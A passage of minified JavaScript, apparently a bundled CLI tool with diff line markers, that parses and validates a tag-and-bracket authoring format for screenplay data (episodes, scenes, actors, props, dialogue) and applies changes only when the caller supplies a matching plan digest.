u.push(`created_assets=${JSON.stringify(c.declarations.createdAssets)}`,`existing_assets=${JSON.stringify(c.declarations.existingAssets)}`,`created_states=${JSON.stringify(c.declarations.createdStates)}`,`existing_states=${JSON.stringify(c.declarations.existingStates)}`,`retained_orphan_assets=${JSON.stringify(c.retainedOrphanAssets)}`,`created_ids=${JSON.stringify(c.identity.createdIds)}`,`removed_ids=${JSON.stringify(c.identity.removedIds)}`,`retained_ids=${JSON.stringify(c.identity.retainedIds)}`),[{text:[`${l?"Applied":"Planned"} ${c.targets.length} ${r.targetKind} target(s); validation ${c.validation.ok?"passed":"needs repair"}`,`plan: ${p}`,...u].join(`
132
- `),data:{op:"write",changed:c.changed,source_path:t.absolutePath,source_digest:a,script_path:o,baseline:i.baseline,script_hash:i.baseline==="missing"?null:i.baseline,plan_digest:p,plan:d.plan,mode:n,target_kind:r.targetKind,targets:c.targets,declarations:c.declarations,retained_orphan_assets:c.retainedOrphanAssets,identity:c.identity,validation:c.validation,applied:l,script_version:4}},G]}function bf(e){let t=Array.isArray(e._args)?e._args:[],n=typeof t[0]=="string"?t[0]:"",o=PE(n),i=TE(e),r=me(e),s=CE(r);if(s.script===null||s.script.version===4)return DE(e,o,i,r,s);let c=lf(o.text),a=cf(Tt(s.script),c,i),d=`sha256:${Ad.createHash("sha256").update(o.bytes).digest("hex")}`,p={version:1,sourceDigest:d,mode:i,targetKind:c.targetKind,targets:a.targets.map(w=>w.address),baseline:s.baseline,plan:{targets:a.targets,declarations:a.declarations,retainedOrphanAssets:a.retainedOrphanAssets,validation:a.validation}},l=kf(p),f=e.apply===!0,u=v(e.plan).trim();if(f&&!u&&oi("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!f&&u&&oi("--plan is only valid together with --apply.",[`plan=${u}`]),f&&u!==l)throw new S("The supplied plan does not match the current source, mode, targets, or script baseline.",{exitCode:b,errorCode:"AUTHORING_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[l],actual:[u]}});f&&a.changed&&(s.script===null?Lr(r,s.fingerprint):Gt(r,s.baseline),Fe(r,a.script));let y=VE(a);return[{text:[`${f?"Applied":"Planned"} ${a.targets.length} ${c.targetKind} target(s); episodes ${y.before.episodes}\u2192${y.after.episodes}, scenes ${y.before.scenes}\u2192${y.after.scenes}, actions ${y.before.actions}\u2192${y.after.actions}`,`plan: ${l}`,...$E(a)].join(`
133
- `),data:{op:"write",changed:a.changed,source_path:o.absolutePath,source_digest:d,script_path:r,baseline:s.baseline,script_hash:s.baseline==="missing"?null:s.baseline,plan_digest:l,plan:p.plan,mode:i,target_kind:c.targetKind,targets:a.targets,declarations:a.declarations,counts:y,validation:a.validation,retained_orphan_assets:a.retainedOrphanAssets,applied:f,script_version:3}},G]}function Of(e){return Array.isArray(e.rows)}function GE(e){return e.endsWith(`
131
+ `)}parse(){this.skipBlank();let t=this.takeOpen("authoring");if(Sn(t,["version"]),t.attrs.get("version")!=="1")throw $("Authoring version is unsupported.",t.source,t.attrs.get("version")??"<missing>","Use <authoring version=1>.");let n=[],o=[],i=!1,r=Et();for(;;){if(this.skipBlank(),this.peekClose("authoring")){jn(r)&&this.throwDangling(r),this.takeClose("authoring");break}let a=this.peekSemantic();if(a===null)throw this.eofError("authoring");if(a.record?.type==="extensions"||a.record?.type==="extend"){r=this.addModifier(r,this.takeRecord());continue}if(a.tag?.name==="create"&&!a.tag.closing){if(i)throw $("<create> must precede every target.",a.tag.source,"<create>","Move the single <create> block before the targets.");jn(r)&&this.throwUnsupportedModifiers(r,"create"),n.push(...this.parseCreate()),i=!0;continue}i=!0,o.push(this.parseTarget(r)),r=Et()}if(this.skipBlank(),this.index<this.lines.length){let a={line:this.index+1,column:1};throw $("Content exists after </authoring>.",a,this.lines[this.index],"Remove content outside the root block.")}if(o.length===0)throw $("Authoring file has no target.",t.source,"<authoring>","Add one or more homogeneous target blocks.");let s=o[0].kind,c=o.find(a=>a.kind!==s);if(c!==void 0)throw $("Authoring targets are not homogeneous.",c.source,c.kind,`Keep only ${s} targets in this file.`);if(s==="script"&&o.length!==1)throw $("A script authoring file has exactly one target.",o[1].source,"second <script>","Keep one <script> target.");return{version:1,declarations:n,targets:o,targetKind:s}}parseCreate(){let t=this.takeOpen("create");Sn(t,[]);let n=[],o=Et();for(;;){if(this.skipBlank(),this.peekClose("create"))return jn(o)&&this.throwDangling(o),this.takeClose("create"),n;let i=this.takeRecord();if(i.type==="extensions"||i.type==="extend"||i.type==="aliases"||i.type==="alias"||i.type==="prompt"){o=this.addModifier(o,i);continue}if(i.type==="actor"){if(i.slots.length<3||i.slots.length>4)throw $("Actor declaration slots are invalid.",i.source,i.slots.join("|"),"Use [actor|id|name|importance|role?] description.");let[r,s,c,a]=i.slots;if(!r||!s||!c||!Pt.has(c)||!cf(c))throw $("Actor declaration is invalid.",i.source,i.slots.join("|"),"Provide id, name, and featured|background importance.");if(a!==void 0&&(!fo.has(a)||!hE(a)))throw $("Actor role is invalid.",i.source,a,"Use \u4E3B\u89D2 or \u914D\u89D2, or omit the slot.");let d={actor_id:r,actor_name:s,importance:c,description:i.content,states:[]};a!==void 0&&(d.role_type=a),o.aliasesPresent&&(d.aliases=[...o.aliases]);let p=xt(o);p!==void 0&&(d.extend=p),o.prompt!==void 0&&this.throwUnsupportedModifiers(o,"actor"),n.push({declarationKind:"actor",value:d,source:i.source}),o=Et();continue}if(i.type==="location"||i.type==="prop"){if(i.slots.length!==3)throw $(`${i.type} declaration slots are invalid.`,i.source,i.slots.join("|"),`Use [${i.type}|id|name|importance] description.`);let[r,s,c]=i.slots;if(!r||!s||!c||!Pt.has(c)||!cf(c))throw $(`${i.type} declaration is invalid.`,i.source,i.slots.join("|"),"Provide id, name, and featured|background importance.");o.prompt!==void 0&&this.throwUnsupportedModifiers(o,i.type);let a=xt(o);if(i.type==="location"){let d={location_id:r,location_name:s,importance:c,description:i.content,states:[]};o.aliasesPresent&&(d.aliases=[...o.aliases]),a!==void 0&&(d.extend=a),n.push({declarationKind:"location",value:d,source:i.source})}else{let d={prop_id:r,prop_name:s,importance:c,description:i.content,states:[]};o.aliasesPresent&&(d.aliases=[...o.aliases]),a!==void 0&&(d.extend=a),n.push({declarationKind:"prop",value:d,source:i.source})}o=Et();continue}if(i.type==="state"){if(i.slots.length!==3)throw $("State declaration slots are invalid.",i.source,i.slots.join("|"),"Use [state|kind:asset_id|state_id|state_name] description.");(o.aliasesPresent||o.prompt!==void 0)&&this.throwUnsupportedModifiers(o,"state");let[r,s,c]=i.slots,a=/^(actor|location|prop):(.+)$/.exec(r??""),d=a?.[1]??"";if(!a||!wE(d)||!s||!c)throw $("State declaration is invalid.",i.source,i.slots.join("|"),"Use a typed owner and non-empty state ID/name.");let p={state_id:s,state_name:c,description:i.content},l=xt(o);l!==void 0&&(p.extend=l),n.push({declarationKind:"state",ownerKind:d,ownerId:a[2],value:p,source:i.source}),o=Et();continue}throw $("Record is not allowed in <create>.",i.source,i.type,"Use actor, location, prop, state, or a supported prefix modifier.")}}parseTarget(t){let n=this.peekTag();if(n===null||n.closing){let o=n?.source??{line:this.index+1,column:1};throw $("Expected a target block.",o,this.lines[this.index]??"<eof>","Add a supported target block.")}switch((t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,n.name),n.name){case"script":return this.parseScript(t);case"episode":return{kind:"episode",value:this.parseEpisode(t),source:n.source,...xt(t)?{extend:xt(t)}:{}};case"episode-span":return this.parseEpisodeSpan(t);case"scene":return Sn(n,["id","parent"]),{kind:"scene",parent:n.attrs.get("parent"),value:this.parseScene(t,!0),source:n.source,...xt(t)?{extend:xt(t)}:{}};case"scene-span":return this.parseSceneSpan(t);case"action-span":return this.parseActionSpan(t);default:throw $("Unknown target block.",n.source,n.name,"Use script, episode, episode-span, scene, scene-span, or action-span.")}}parseScript(t){let n=this.takeOpen("script");Sn(n,[]);let o=["title","worldview","worldview-raw","style","synopsis","logline","theme","main-characters","main-character"],i=new Map,r=[],s=[],c=-1,a=!1,d=Et();for(;;){if(this.skipBlank(),this.peekClose("script")){jn(d)&&this.throwDangling(d),this.takeClose("script");break}let y=this.peekSemantic();if(y?.record!==void 0){let m=this.takeRecord();if(m.type==="extensions"||m.type==="extend"||m.type==="aliases"||m.type==="alias"||m.type==="prompt"){d=this.addModifier(d,m);continue}jn(d)&&this.throwUnsupportedModifiers(d,m.type);let g=o.indexOf(m.type),w=m.type==="main-character";if(a||g<0||g<c||!w&&i.has(m.type))throw $("Metadata record in <script> is invalid or out of order.",m.source,m.type,`Use ${o.join(", ")} in canonical order before episode blocks.`);if(c=g,m.type==="main-characters"){if(m.slots.length!==0||m.content!=="")throw $("Main characters marker is invalid.",m.source,m.content,"Use [main-characters] with no slots or content.");i.set(m.type,"")}else if(w){if(m.slots.length!==2||!m.slots[0]||!m.slots[1]||m.content!=="")throw $("Main character record is invalid.",m.source,m.slots.join("|"),"Use [main-character|name|role] with no content.");r.push({name:m.slots[0],role:m.slots[1]})}else{if(m.slots.length!==0)throw $("Script metadata record has unexpected slots.",m.source,m.slots.join("|"),`Use [${m.type}] content.`);i.set(m.type,m.content)}continue}if(y?.tag===void 0||y.tag.closing||y.tag.name!=="episode"){let m=y?.tag?.source??{line:this.index+1,column:1};throw $("Unexpected member in <script>.",m,this.lines[this.index]??"<eof>","Use metadata records followed by <episode> blocks.")}a=!0,s.push(this.parseEpisode(d)),d=Et()}let p=this.requiredMetadata(i,"title",n.source),l=this.requiredMetadata(i,"worldview",n.source),f=this.requiredMetadata(i,"style",n.source),u=xt(t);return{kind:"script",title:p,worldview:l,style:f,...i.get("worldview-raw")!==void 0?{worldviewRaw:i.get("worldview-raw")}:{},...i.get("synopsis")!==void 0?{synopsis:i.get("synopsis")}:{},...i.get("logline")!==void 0?{logline:i.get("logline")}:{},...i.get("theme")!==void 0?{theme:i.get("theme")}:{},...i.has("main-characters")||r.length>0?{mainCharacters:r}:{},episodes:s,source:n.source,...u!==void 0?{extend:u}:{}}}parseEpisode(t){let n=this.takeOpen("episode");Sn(n,["id"]),(t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,"episode");let o=this.parseMetadataAndChildren("episode",["title","synopsis"],"scene",s=>this.parseScene(s,!1)),i={episode_id:n.attrs.get("id"),scenes:o.children};o.values.has("title")&&(i.title=o.values.get("title")),o.values.has("synopsis")&&(i.synopsis=o.values.get("synopsis"));let r=xt(t);return r!==void 0&&(i.extend=r),i}parseScene(t,n){let o=this.takeOpen("scene");Sn(o,n?["id","parent"]:["id"]),(t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,"scene");let i,r,s=[],c=[],a="environment",d;for(;;){if(this.skipBlank(),this.peekClose("scene")){this.takeClose("scene");break}let f=this.peekSemantic();if(f?.tag?.name==="body"&&!f.tag.closing){if(a==="body")throw $("Scene has more than one body.",f.tag.source,"<body>","Keep exactly one <body>.");a="body",d=this.parseBody();continue}if(f?.record===void 0){let y=f?.tag?.source??{line:this.index+1,column:1};throw $("Only scene records and <body> are allowed here.",y,this.lines[this.index]??"<eof>","Use environment, location, cast, prop, then body.")}let u=this.takeRecord();if(u.type==="extensions"||u.type==="extend"||u.type==="aliases"||u.type==="alias"||u.type==="prompt")throw $("Scene prefix modifier must directly precede <scene>.",u.source,u.type,"Move the modifier before the <scene> opening tag.");if(u.type==="environment"){if(a!=="environment"||i!==void 0||u.slots.length>2)throw $("Environment record is out of order or invalid.",u.source,u.slots.join("|"),"Place at most one [environment|space?|time?] first.");i={},u.slots.length>=1&&u.slots[0]!==""&&(i.space=u.slots[0]),u.slots.length>=2&&u.slots[1]!==""&&(i.time=u.slots[1]);continue}if(u.type==="location"){if(a==="cast"||a==="prop"||a==="body"||r!==void 0||u.slots.length>2)throw $("Location record is out of order or invalid.",u.source,u.slots.join("|"),"Place exactly one [location|id?|state?] before cast.");a="location";let y=u.slots[0];y===void 0||y===""?r=null:r=u.slots.length===2?{location_id:y,state_id:u.slots[1]}:{location_id:y};continue}if(u.type==="cast"){if(r===void 0||a==="prop"||a==="body"||u.slots.length<1||u.slots.length>2||!u.slots[0])throw $("Cast record is out of order or invalid.",u.source,u.slots.join("|"),"Place [cast|actor_id|state_id?] after location and before props.");a="cast",s.push(u.slots.length===2?{actor_id:u.slots[0],state_id:u.slots[1]}:{actor_id:u.slots[0]});continue}if(u.type==="prop"){if(r===void 0||a==="body"||u.slots.length<1||u.slots.length>2||!u.slots[0])throw $("Prop record is out of order or invalid.",u.source,u.slots.join("|"),"Place [prop|prop_id|state_id?] after cast and before body.");a="prop",c.push(u.slots.length===2?{prop_id:u.slots[0],state_id:u.slots[1]}:{prop_id:u.slots[0]});continue}throw $("Record is not allowed in a scene header.",u.source,u.type,"Use environment, location, cast, prop, or body records.")}if(r===void 0)throw $("Scene location record is missing.",o.source,`<scene id=${o.attrs.get("id")}>`,"Add [location] or [location|loc_ID|state_ID].");if(d===void 0)throw $("Scene body is missing.",o.source,`<scene id=${o.attrs.get("id")}>`,"Add one <body> block.");let p={scene_id:o.attrs.get("id"),location:r,actors:s,props:c,actions:d};i!==void 0&&(p.environment=i);let l=xt(t);return l!==void 0&&(p.extend=l),p}parseBody(){let t=this.takeOpen("body");Sn(t,[]);let n=[],o=Et();for(;;){if(this.skipBlank(),this.peekClose("body"))return jn(o)&&this.throwDangling(o),this.takeClose("body"),n;let i=this.takeRecord();if(i.type==="extensions"||i.type==="extend"||i.type==="aliases"||i.type==="prompt"||i.type==="alias"){o=this.addModifier(o,i);continue}n.push(xE(i,o)),o=Et()}}parseEpisodeSpan(t){let n=this.takeOpen("episode-span");Sn(n,["from","through"]);let o=this.parseOnlyChildren("episode-span","episode",r=>this.parseEpisode(r)),i=xt(t);return{kind:"episode-span",from:n.attrs.get("from"),through:n.attrs.get("through"),episodes:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseSceneSpan(t){let n=this.takeOpen("scene-span");Sn(n,["parent","from","through"]);let o=this.parseOnlyChildren("scene-span","scene",r=>this.parseScene(r,!1)),i=xt(t);return{kind:"scene-span",parent:n.attrs.get("parent"),from:n.attrs.get("from"),through:n.attrs.get("through"),scenes:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseActionSpan(t){let n=this.takeOpen("action-span");Sn(n,["parent","from","through"]),this.skipBlank();let o=this.parseBody();this.skipBlank(),this.takeClose("action-span");let i=xt(t);return{kind:"action-span",parent:n.attrs.get("parent"),from:df(n.attrs.get("from"),n.source,"action-span from",!0),through:df(n.attrs.get("through"),n.source,"action-span through",!0),actions:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseMetadataAndChildren(t,n,o,i){let r=new Map,s=[],c=-1,a=!1,d=Et();for(;;){if(this.skipBlank(),this.peekClose(t))return jn(d)&&this.throwDangling(d),this.takeClose(t),{values:r,children:s};let p=this.peekSemantic();if(p?.record!==void 0){let f=this.takeRecord();if(f.type==="extensions"||f.type==="extend"||f.type==="aliases"||f.type==="alias"||f.type==="prompt"){d=this.addModifier(d,f);continue}jn(d)&&this.throwUnsupportedModifiers(d,f.type);let u=n.indexOf(f.type);if(a||u<0||u<c||r.has(f.type)||f.slots.length!==0)throw $(`Metadata record in <${t}> is invalid or out of order.`,f.source,f.type,`Use each of ${n.join(", ")} at most once in canonical order before child blocks.`);c=u,r.set(f.type,f.content);continue}let l=p?.tag;if(l===void 0||l.closing||l.name!==o){let f=l?.source??{line:this.index+1,column:1};throw $(`Unexpected member in <${t}>.`,f,this.lines[this.index]??"<eof>",`Use metadata records followed by <${o}> blocks.`)}a=!0,s.push(i(d)),d=Et()}}parseOnlyChildren(t,n,o){let i=[],r=Et();for(;;){if(this.skipBlank(),this.peekClose(t))return jn(r)&&this.throwDangling(r),this.takeClose(t),i;let s=this.peekSemantic();if(s?.record?.type==="extensions"||s?.record?.type==="extend"){r=this.addModifier(r,this.takeRecord());continue}if(s?.tag===void 0||s.tag.closing||s.tag.name!==n){let c=s?.tag?.source??s?.record?.source??{line:this.index+1,column:1};throw $(`Only <${n}> children are allowed in <${t}>.`,c,this.lines[this.index]??"<eof>",`Add complete <${n}> blocks.`)}i.push(o(r)),r=Et()}}addModifier(t,n){let o={extend:{...t.extend},extendPresent:t.extendPresent,aliases:[...t.aliases],aliasesPresent:t.aliasesPresent,phase:t.phase,...t.prompt!==void 0?{prompt:t.prompt}:{},source:t.source??n.source};if(n.type==="extensions"){if(o.phase!=="extend"||o.extendPresent||n.slots.length!==0||n.content!=="")throw $("Extensions marker is invalid or out of order.",n.source,n.content||"<empty>","Use one [extensions] marker before extension records.");return o.extendPresent=!0,o}if(n.type==="extend"){if(o.phase!=="extend"||n.slots.length!==1||!n.slots[0])throw $("Extend modifier is invalid or out of order.",n.source,n.slots.join("|"),"Place unique [extend|key] records first.");let i=n.slots[0];if(Object.hasOwn(o.extend,i))throw $("Extend key is duplicated.",n.source,i,"Keep one value for each extension key.");let r;try{r=JSON.parse(n.content)}catch{throw $("Extension value is not valid JSON.",n.source,n.content,"Use one canonical JSON value.")}if(!cd(r))throw $("Extension value is not JSON-compatible.",n.source,n.content,"Use string, number, boolean, null, array, or object.");return o.extendPresent=!0,o.extend[i]=dd(r),o}if(n.type==="aliases"){if(o.phase!=="extend"||o.aliasesPresent||n.slots.length!==0||n.content!=="")throw $("Aliases marker is invalid or out of order.",n.source,n.content||"<empty>","Use one [aliases] marker after extensions and before alias records.");return o.phase="alias",o.aliasesPresent=!0,o}if(n.type==="alias"){if(o.phase==="prompt"||n.slots.length!==0||!n.content)throw $("Alias modifier is invalid or out of order.",n.source,n.content||"<empty>","Place non-empty [alias] records after extensions and before prompt.");if(o.phase="alias",o.aliasesPresent=!0,o.aliases.includes(n.content))throw $("Alias is duplicated.",n.source,n.content,"Keep each alias once.");return o.aliases.push(n.content),o}if(n.type==="prompt"){if(o.prompt!==void 0||n.slots.length!==3||n.slots.some(i=>!i))throw $("Prompt modifier is invalid.",n.source,n.slots.join("|"),"Use one [prompt|target|process|contrast] after extensions and aliases.");if(!/^(?:actor:act_|location:loc_|prop:prp_)[A-Za-z0-9_-]+$/.test(n.slots[0]))throw $("Prompt target is invalid.",n.source,n.slots[0],"Use actor:act_ID, location:loc_ID, or prop:prp_ID.");return o.phase="prompt",o.prompt={target:n.slots[0],process:n.slots[1],contrast:n.slots[2]},o}throw $("Unknown prefix modifier.",n.source,n.type,"Use extend, alias, or prompt.")}requiredMetadata(t,n,o){let i=t.get(n);if(i===void 0)throw $(`Script ${n} record is missing.`,o,"<script>",`Add [${n}] in canonical metadata order.`);return i}peekSemantic(){if(this.skipBlank(),this.index>=this.lines.length)return null;let t=this.lines[this.index],n=_E(t,this.index+1);if(n!==null)return{tag:n};if(t.trimStart().startsWith("["))return{record:Ji(t,this.index+1)};let o={line:this.index+1,column:Math.max(1,t.search(/\S/)+1)};throw $("Semantic line is neither a tag nor a bracket record.",o,t,"Use only known tags, bracket records, or blank lines.")}peekTag(){return this.peekSemantic()?.tag??null}takeRecord(){let t=this.peekSemantic();if(t?.record===void 0){let n=t?.tag?.source??{line:this.index+1,column:1};throw $("Expected a bracket record.",n,this.lines[this.index]??"<eof>","Use the record required at this position.")}return this.index+=1,t.record}takeOpen(t){let n=this.peekTag();if(n===null||n.closing||n.name!==t){let o=n?.source??{line:this.index+1,column:1};throw $(`Expected <${t}>.`,o,this.lines[this.index]??"<eof>",`Open <${t}> here.`)}return this.index+=1,n}takeClose(t){let n=this.peekTag();if(n===null||!n.closing||n.name!==t){let o=n?.source??{line:this.index+1,column:1};throw $(`Expected </${t}>.`,o,this.lines[this.index]??"<eof>",`Close the current <${t}> block.`)}return this.index+=1,n}peekClose(t){let n=this.peekTag();return n!==null&&n.closing&&n.name===t}skipBlank(){for(;this.index<this.lines.length&&this.lines[this.index].trim()==="";)this.index+=1}eofError(t){return $(`Unexpected end of file inside <${t}>.`,{line:this.lines.length,column:1},"<eof>",`Add </${t}>.`)}throwDangling(t){throw $("Prefix modifier has no following node.",t.source??{line:this.index+1,column:1},"dangling modifier","Move it directly before a supported node.")}throwUnsupportedModifiers(t,n){throw $("Prefix modifier does not apply to this node.",t.source??{line:this.index+1,column:1},n,"Remove the unsupported modifier or move it before a supported node.")}};function pf(e){return new pd(e).parse()}function L(e,t,n){throw new S(e,{exitCode:b,errorCode:"AUTHORING_SOURCE_INVALID",data:{actual:[`line ${t}: ${n}`]}})}function md(e,t){let n=e.trim(),o=/^<\/([a-z-]+)>$/.exec(n);if(o)return{name:o[1],closing:!0,attrs:new Map,line:t};let i=/^<([a-z-]+)(?: ([^>]+))?>$/.exec(n);if(!i)return null;let r=new Map,s=i[2]??"",c=s===""?[]:s.split(" ");c.some(a=>a==="")&&L("Tag attributes need one-space separators.",t,n);for(let a of c){let d=/^([a-z]+)=([A-Za-z0-9_./#:-]+)$/.exec(a);(!d||r.has(d[1]))&&L("Tag attributes are invalid.",t,a),r.set(d[1],d[2])}return{name:i[1],closing:!1,attrs:r,line:t}}function De(e,t,n=[]){let o=new Set([...t,...n]),i=[...e.attrs.keys()].filter(s=>!o.has(s)),r=t.filter(s=>!e.attrs.has(s));(i.length>0||r.length>0)&&L("Tag attributes do not match the canonical grammar.",e.line,[...r.map(s=>`missing:${s}`),...i.map(s=>`unknown:${s}`)].join(","))}var gd=class{lines;index=0;constructor(t){this.lines=t.split(/\r?\n/).map((n,o)=>({raw:n.replace(/^\s+/,""),line:o+1})).filter(n=>n.raw.trim()!=="")}peek(){let t=this.lines[this.index];return t||L("Unexpected end of authoring file.",this.lines.at(-1)?.line??1,"<eof>"),t}take(){let t=this.peek();return this.index++,t}tag(t,n){let o=this.take(),i=md(o.raw,o.line);return(!i||i.name!==t||i.closing!==n)&&L(`Expected ${n?"</":"<"}${t}>.`,o.line,o.raw),i}record(){let t=this.take();return Ji(t.raw,t.line)}nextTag(){let t=this.peek();return md(t.raw,t.line)}nextRecord(){let t=this.peek();return t.raw.startsWith("[")?Ji(t.raw,t.line):null}};function hd(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(hd):typeof e=="object"&&Object.values(e).every(hd)}function ti(e){let t={},n=e.nextRecord();if(n?.type==="extensions"){e.record();let o={},i=null;for(;(n=e.nextRecord())?.type==="extend";){let r=e.record();(r.slots.length!==1||Object.hasOwn(o,r.slots[0]))&&L("extend record is invalid or duplicated.",r.source.line,r.type);let s=r.slots[0];i!==null&&i>=s&&L("extend keys must use ascending canonical order.",r.source.line,s);let c;try{c=JSON.parse(r.content)}catch{L("extend content must be JSON.",r.source.line,r.content)}hd(c)||L("extend value must be JSON-compatible.",r.source.line,r.content),o[s]=c,i=s}t.extend=o}if(n=e.nextRecord(),n?.type==="aliases"){e.record();let o=[];for(;(n=e.nextRecord())?.type==="alias";){let i=e.record();i.slots.length!==0&&L("alias takes no slots.",i.source.line,i.type),i.content===""&&L("alias must not be empty.",i.source.line,i.type),o.includes(i.content)&&L("alias must not be duplicated.",i.source.line,i.content),o.push(i.content)}t.aliases=o}if(n=e.nextRecord(),n?.type==="prompt"){let o=e.record();(o.slots.length!==3||o.slots.some(r=>r===""))&&L("prompt requires non-empty target, process, and contrast.",o.source.line,o.type);let i=o.slots[0];!V("actor",i)&&!V("location",i)&&!V("prop",i)&&L("prompt target must be an asset ID.",o.source.line,i),t.prompt={target:i,process:o.slots[1],contrast:o.slots[2]}}return t}function ld(e,t){return e!=="featured"&&e!=="background"&&L("Importance is invalid.",t,e),e}function SE(e,t){if(e!==void 0)return e!=="\u4E3B\u89D2"&&e!=="\u914D\u89D2"&&L("Role type is invalid.",t,e),e}function _d(e,t){return e==="default"||V("state",e)?e:L("State ID is invalid.",t,e)}function IE(e){let t=e.tag("create",!1);De(t,[]);let n=[],o=new Map,i=null,r=0,s=a=>{if(i===null)return;let d=o.get(i);(!d||d.states.length===0||d.states[0].state_id!=="default")&&L("A new asset must be followed immediately by its default state.",a,i),i=null};for(;e.nextTag()?.name!=="create"||e.nextTag()?.closing!==!0;){let a=ti(e),d=e.record();if(d.type==="actor"){r>0&&L("Create declarations are not in canonical order.",d.source.line,d.type),s(d.source.line),a.prompt!==void 0&&L("prompt cannot modify an asset.",d.source.line,d.type),(d.slots.length<3||d.slots.length>4||!V("actor",d.slots[0]))&&L("actor declaration is invalid.",d.source.line,d.type);let p=SE(d.slots[3],d.source.line),l={actor_id:d.slots[0],actor_name:d.slots[1],importance:ld(d.slots[2],d.source.line),description:d.content,states:[],...p===void 0?{}:{role_type:p},...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};l.aliases?.includes(l.actor_name)&&L("An alias must differ from the asset name.",d.source.line,l.actor_name),n.push({kind:"actor",value:l}),o.set(l.actor_id,l),i=l.actor_id}else if(d.type==="location"||d.type==="prop"){let p=d.type==="location"?1:2;p<r&&L("Create declarations are not in canonical order.",d.source.line,d.type),r=p,s(d.source.line),a.prompt!==void 0&&L("prompt cannot modify an asset.",d.source.line,d.type);let l=d.type;if((d.slots.length!==3||(l==="location"?!V("location",d.slots[0]):!V("prop",d.slots[0])))&&L(`${l} declaration is invalid.`,d.source.line,d.type),l==="location"){let f=d.slots[0];V("location",f)||L("location ID is invalid.",d.source.line,f);let u={location_id:f,location_name:d.slots[1],importance:ld(d.slots[2],d.source.line),description:d.content,states:[],...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};u.aliases?.includes(u.location_name)&&L("An alias must differ from the asset name.",d.source.line,u.location_name),n.push({kind:l,value:u}),o.set(u.location_id,u),i=u.location_id}else{let f=d.slots[0];V("prop",f)||L("prop ID is invalid.",d.source.line,f);let u={prop_id:f,prop_name:d.slots[1],importance:ld(d.slots[2],d.source.line),description:d.content,states:[],...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};u.aliases?.includes(u.prop_name)&&L("An alias must differ from the asset name.",d.source.line,u.prop_name),n.push({kind:l,value:u}),o.set(u.prop_id,u),i=u.prop_id}}else if(d.type==="state"){(d.slots.length!==3||a.aliases!==void 0||a.prompt!==void 0)&&L("state declaration is invalid.",d.source.line,d.type);let p=d.slots[0],l=o.get(p);l&&i!==p&&L("States for a new asset must immediately follow that asset.",d.source.line,p),l||(s(d.source.line),r=3);let f={state_id:_d(d.slots[1],d.source.line),state_name:d.slots[2],description:d.content,...a.extend===void 0?{}:{extend:a.extend}};l?(l.states.length===0&&f.state_id!=="default"&&L("The first state of a new asset must be default.",d.source.line,f.state_id),l.states.push(f)):n.push({kind:"state",ownerId:p,value:f})}else s(d.source.line),L("Unknown create declaration.",d.source.line,d.type)}s(e.peek().line);let c=e.tag("create",!0);return De(c,[]),n}function AE(e,t){let n=e.indexOf("/"),o=n<0?e:e.slice(0,n);if(V("actor",o))return n<0?{actor_id:o}:{actor_id:o,state_id:_d(e.slice(n+1),t)};let i=e.indexOf(":"),r=i<0?e:e.slice(0,i);return["system","broadcast","offscreen","group"].includes(r)?i<0?{kind:r}:{kind:r,label:e.slice(i+1)}:L("Speaker is invalid.",t,e)}function lf(e){let t=ti(e);t.aliases!==void 0&&L("aliases cannot modify an Action.",e.peek().line,"aliases");let n=e.record();return n.type==="act"||n.type==="trans"?((n.slots.length!==1||!V("action",n.slots[0]))&&L("Narrative Action record is invalid.",n.source.line,n.type),{action_id:n.slots[0],type:n.type==="act"?"action":"transition",content:n.content,...t.extend===void 0?{}:{extend:t.extend},...t.prompt===void 0?{}:{transition_prompt:t.prompt}}):n.type!=="dlg"&&n.type!=="think"?L("Unknown Action record.",n.source.line,n.type):((n.slots.length!==2&&n.slots.length!==3||!V("action",n.slots[0]))&&L("Speaking Action record is invalid.",n.source.line,n.type),{action_id:n.slots[0],type:n.type==="dlg"?"dialogue":"inner_thought",speaker:AE(n.slots[1],n.source.line),content:n.content,...n.slots.length===3?{parenthetical:n.slots[2]}:{},...t.extend===void 0?{}:{extend:t.extend},...t.prompt===void 0?{}:{transition_prompt:t.prompt}})}function ud(e,t){e.length===0&&L("Scene reference needs at least one state.",t,"<empty>");let n=e.map(o=>_d(o,t));return new Set(n).size!==n.length&&L("Scene reference repeats a state.",t,n.join(",")),n.sort()}function yd(e,t,n,o){De(t,n===void 0?["id","parent"]:["id"]);let i=t.attrs.get("id")??"";V("scene",i)||L("Scene ID is invalid.",t.line,i);let r=t.attrs.get("parent")??n;r!==void 0&&!V("episode",r)&&L("Scene parent must be an Episode ID.",t.line,r);let s,c,a=[],d=[],p=new Set,l=new Set,f=0;for(;e.nextTag()?.name!=="body";){let m=e.record(),g=m.type==="environment"?0:m.type==="location"?1:m.type==="cast"?2:m.type==="prop"?3:-1;g<f&&L("Scene records are not in canonical order.",m.source.line,m.type),f=g,m.type==="environment"?(s!==void 0&&L("Scene environment is duplicated.",m.source.line,m.type),m.slots.length>2&&L("environment has too many slots.",m.source.line,m.type),s={...m.slots[0]===void 0?{}:{space:m.slots[0]},...m.slots[1]===void 0?{}:{time:m.slots[1]}}):m.type==="location"?(c!==void 0&&L("Scene location is duplicated.",m.source.line,m.type),m.slots.length===0?c=null:(V("location",m.slots[0])||L("Location ref ID is invalid.",m.source.line,m.slots[0]),c={location_id:m.slots[0],state_ids:ud(m.slots.slice(1),m.source.line)})):m.type==="cast"?(V("actor",m.slots[0])||L("Cast ref ID is invalid.",m.source.line,m.slots[0]??""),p.has(m.slots[0])&&L("Scene repeats an actor reference.",m.source.line,m.slots[0]),p.add(m.slots[0]),a.push({actor_id:m.slots[0],state_ids:ud(m.slots.slice(1),m.source.line)})):m.type==="prop"?(V("prop",m.slots[0])||L("Prop ref ID is 